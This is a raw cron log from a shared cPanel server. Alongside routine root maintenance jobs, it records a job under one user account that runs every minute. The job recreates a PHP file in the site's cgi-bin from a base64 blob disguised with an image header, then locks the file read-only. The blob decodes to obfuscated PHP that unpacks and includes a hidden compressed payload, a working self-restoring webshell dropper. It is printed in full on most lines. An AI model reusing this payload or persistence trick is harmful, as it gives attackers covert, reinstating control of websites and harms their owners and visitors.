Aug 30 20:16:01 server CROND[15032]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:17:01 server CROND[15416]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:17:01 server CROND[15417]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:17:01 server CROND[15418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:18:01 server CROND[15804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:18:01 server CROND[15805]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:18:01 server CROND[15806]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:19:01 server CROND[16194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:19:01 server CROND[16195]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:19:01 server CROND[16196]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:20:01 server CROND[16591]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 20:20:01 server CROND[16592]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 20:20:01 server CROND[16595]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 20:20:01 server CROND[16596]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 20:20:01 server CROND[16597]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:20:01 server CROND[16608]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:20:01 server CROND[16604]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:20:01 server CROND[16603]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 20:20:01 server CROND[16607]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 20:21:01 server CROND[17527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:21:01 server CROND[17528]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:21:01 server CROND[17529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:22:01 server CROND[17919]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:22:01 server CROND[17920]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:22:01 server CROND[17921]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:23:01 server CROND[18310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:23:01 server CROND[18311]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:23:01 server CROND[18312]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:24:01 server CROND[18694]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:24:01 server CROND[18695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:24:01 server CROND[18696]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:25:01 server CROND[19084]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 20:25:01 server CROND[19086]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:25:01 server CROND[19087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:25:01 server CROND[19089]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 30 20:25:01 server CROND[19092]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 20:25:01 server CROND[19091]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 20:25:01 server CROND[19090]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:25:01 server CROND[19088]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 20:26:01 server CROND[19926]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:26:01 server CROND[19927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:26:01 server CROND[19928]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:27:01 server CROND[20399]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:27:01 server CROND[20400]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:27:01 server CROND[20401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:27:01 server CROND[20402]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 20:28:01 server CROND[20799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:28:01 server CROND[20798]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
